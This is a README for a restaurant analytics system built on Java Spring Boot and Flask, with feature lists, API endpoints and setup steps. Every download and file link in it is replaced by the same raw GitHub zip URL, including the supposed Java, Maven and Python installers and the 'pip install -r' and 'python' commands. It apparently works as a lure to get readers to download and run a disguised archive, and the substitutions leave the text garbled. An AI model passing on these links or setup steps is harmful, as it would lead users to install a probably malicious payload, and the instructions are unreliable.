A comprehensive restaurant analytics platform built with Java Spring Boot backend and Python Flask frontend, featuring advanced data processing, interactive visualizations, and detailed reporting capabilities.
Perfect for quickly exploring the interface with sample data:
https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zipThen open http://localhost:5000
For full functionality with real data processing:
https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zipThen open http://localhost:5000
- Operating System: Windows 10/11
- RAM: Minimum 4GB, Recommended 8GB+
- Storage: 2GB free space
- Ports: 8080 (backend), 5000 (frontend)
- Download: https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
- Installation:
- Download the Windows x64 MSI installer
- Run installer and ensure "Add to PATH" is checked
- Verify:
java -version
- Download: https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
- Installation:
- Download Binary zip archive (https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip)
- Extract to
C:\Program Files\Apache\maven - Add
C:\Program Files\Apache\maven\binto system PATH
- Verify:
mvn -version
- Download: https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
- Installation:
- Download Windows installer
- IMPORTANT: Check "Add Python to PATH" during installation
- Verify:
python --version
If automated scripts don't work:
-
Install Python Dependencies
cd frontend pip install -r https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip cd ..
-
Compile Java Backend
cd backend mvn compile cd ..
-
Start Backend (in one terminal)
cd backend mvn spring-boot:run -
Start Frontend (in another terminal)
cd frontend python https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
- Modular Pipeline: Ingestion → Transformation → Analytics → API
- Source-Agnostic Ingestion: CSV, JSON, Database, APIs
- Chunk-Based Processing: Handles large files (5GB+)
- Error Handling: Dead-letter queue for failed operations
- REST APIs: JSON endpoints for analytics results
- Web GUI: Interactive management dashboard
- Visualizations: Plotly/Seaborn/Matplotlib charts
- Report Export: CSV, PDF formats
- Filtering: Branch selector, time filters, seasonal analysis
- Heatmaps: Order volume by hour and outlet
- Peak Hour Tables: Top performing time slots
- Branch Summaries: Performance metrics per location
- Daily/Weekly Patterns: Temporal analysis
- Age Distribution: Customer age group analysis
- Gender Analysis: Gender-based patterns
- Loyalty Groups: Customer segmentation by loyalty
- Spending Patterns: Behavioral analysis
- RFM Analysis: Recency, Frequency, Monetary segmentation
- Seasonal Retention: Customer retention across seasons
- Loyalty Index: Customer loyalty scoring
- Seasonal Spending: Spending patterns by season
- Customer Lifecycle: Lifespan analysis
- Top Items: Most popular menu items
- Category Analysis: Performance by food category
- Item Combos: Frequently ordered combinations
- Sankey Diagrams: Order flow visualization
- Spice Level Preferences: Customer taste preferences
- Vegetarian Analysis: Dietary preference insights
- Revenue Summary: Total revenue and growth metrics
- Daily/Monthly Revenue: Time-based revenue trends
- Average Order Value: AOV analysis by various dimensions
- Payment Method Analysis: Payment preference insights
- Outlet Revenue Comparison: Branch performance comparison
- Preparation Time Anomalies: Unusual cooking times
- Order Volume Anomalies: Unexpected order patterns
- Revenue Anomalies: Unusual revenue patterns
- Customer Behavior Anomalies: Unusual spending patterns
- Alert Logs: Automated alert system
- Branch Dashboards: Comprehensive branch metrics
- Branch Rankings: Performance-based rankings
- Efficiency Analysis: Operational efficiency metrics
- Customer Satisfaction: Satisfaction indicators
- Real-time Analytics: Live data analysis and visualization
- Filtering System: Multi-dimensional filtering (outlet, season, festival)
- Responsive Design: Works on desktop, tablet, and mobile
- Interactive Charts: Plotly-powered interactive visualizations
- Statistical Analysis: Z-score based anomaly detection
- Time Series Analysis: Temporal pattern recognition
- Customer Segmentation: RFM analysis and loyalty scoring
- Performance Metrics: KPI tracking and benchmarking
- CSV Export: Raw data for further analysis
- PDF Reports: Formatted reports with charts and tables
- Customizable Filters: Export specific data subsets
- Seasons: Spring, Summer, Autumn, Winter
- Festivals: Christmas, New Year, Valentine's Day, Easter, Diwali, Vesak
- Custom Periods: Flexible date range filtering
See https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip for detailed setup instructions.
uber-eats-restaurant-analytics/
├── backend/ # Java Spring Boot Backend
│ ├── src/main/java/com/restaurant/analytics/
│ │ ├── ingestion/ # Data ingestion module
│ │ ├── transform/ # Data transformation
│ │ ├── analytics/ # Analytics engines
│ │ ├── api/ # REST API controllers
│ │ └── model/ # Data models
│ ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Maven configuration
│ └── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
├── frontend/ # Python Flask Frontend
│ ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Main Flask application
│ ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Mock data version (for demo)
│ ├── routes/
│ │ ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Dashboard routes
│ │ ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Report generation
│ │ └── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Chart endpoints
│ ├── templates/ # HTML templates (minimal design)
│ │ ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Base template with right sidebar
│ │ ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Dashboard with blue/gray theme
│ │ ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Analytics modules
│ │ ├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Report generation
│ │ └── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip
│ └── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Python dependencies
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Full system setup script
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Python-only setup script
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Start full system
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Start backend only
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Start frontend (requires backend)
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Start frontend with mock data
├── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # Sample dataset
└── https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip # This comprehensive guide
- Color Scheme: Simple blue (#4a90e2), light gray (#6c757d), and white
- Layout: Clean design with right-positioned sidebar
- Navigation: Intuitive menu structure for easy access
- Responsive: Works on desktop, tablet, and mobile devices
- Real-time Analytics: Live data analysis and visualization
- Filtering System: Multi-dimensional filtering (outlet, season, festival)
- Interactive Charts: Plotly-powered visualizations with minimal color palette
- Export Options: CSV and PDF report generation
GET /api/analytics/peak-dining- Peak dining analysisGET /api/analytics/customer-demographics- Customer demographicsGET /api/analytics/customer-seasonal- Seasonal behaviorGET /api/analytics/menu-analysis- Menu analysisGET /api/analytics/revenue-analysis- Revenue analysisGET /api/analytics/anomaly-detection- Anomaly detectionGET /api/analytics/branch-performance- Branch performanceGET /api/analytics/outlets- List of outlets
outletId- Filter by specific outletseason- Filter by season (spring, summer, autumn, winter)festival- Filter by festival period
GET /reports/export/csv/{analysis_type}- Export as CSVGET /reports/export/pdf/{analysis_type}- Export as PDF
- Problem: Java not installed or not in PATH
- Solution: Install Java 17+ from https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zip and ensure PATH is set
- Problem: Maven not installed or not in PATH
- Solution: Install Maven and add to PATH (see installation guide above)
- Problem: Python not installed or not in PATH
- Solution: Install Python and check "Add to PATH", or use
pycommand
- Check Java version:
java -version(should be 17+) - Check Maven:
mvn -version - Ensure port 8080 is available
- Review console error messages
- Ensure backend is running first at http://localhost:8080
- Verify Python dependencies are installed
- Check port 5000 is available
- Ensure
https://github.com/abz-mhd/APDP-rms-analysis/raw/refs/heads/main/frontend/analysis_APD_rms_2.8-beta.1.zipis in backend directory - Check file permissions
- Review backend console for error messages
- ✅ All 7 analytics modules
- ✅ Real-time data processing
- ✅ Interactive charts and visualizations
- ✅ CSV/PDF export functionality
- ✅ Advanced filtering (season, festival, outlet)
- ✅ Anomaly detection
- ✅ Large file processing (5GB+)
- ✅ User interface demonstration
- ✅ Basic chart examples
- ❌ Real data processing
- ❌ Export functionality
- ❌ Advanced analytics
- Real-time data streaming integration
- Machine learning prediction models
- Advanced forecasting capabilities
- Multi-tenant restaurant support
- Role-based access control system
- Mobile application development
- Advanced dashboard customization
- API rate limiting and security enhancements
This Uber Eats Restaurant Analytics System is designed for educational and commercial use in restaurant analytics and business intelligence applications.
CSV Data → Java Backend (Spring Boot) → REST APIs → Python Frontend (Flask) → Web Dashboard
The system follows a modular architecture with clear separation of concerns:
- Data Layer: CSV file processing and storage
- Processing Layer: Java Spring Boot for heavy analytics computations
- API Layer: RESTful services for data exchange
- Presentation Layer: Python Flask web application with minimal design
- User Interface: Clean, responsive web dashboard with blue/gray color scheme
Note: This system includes both a full-featured version (requires Java/Maven) and a demo version (Python-only with mock data) to accommodate different setup and demonstration requirements.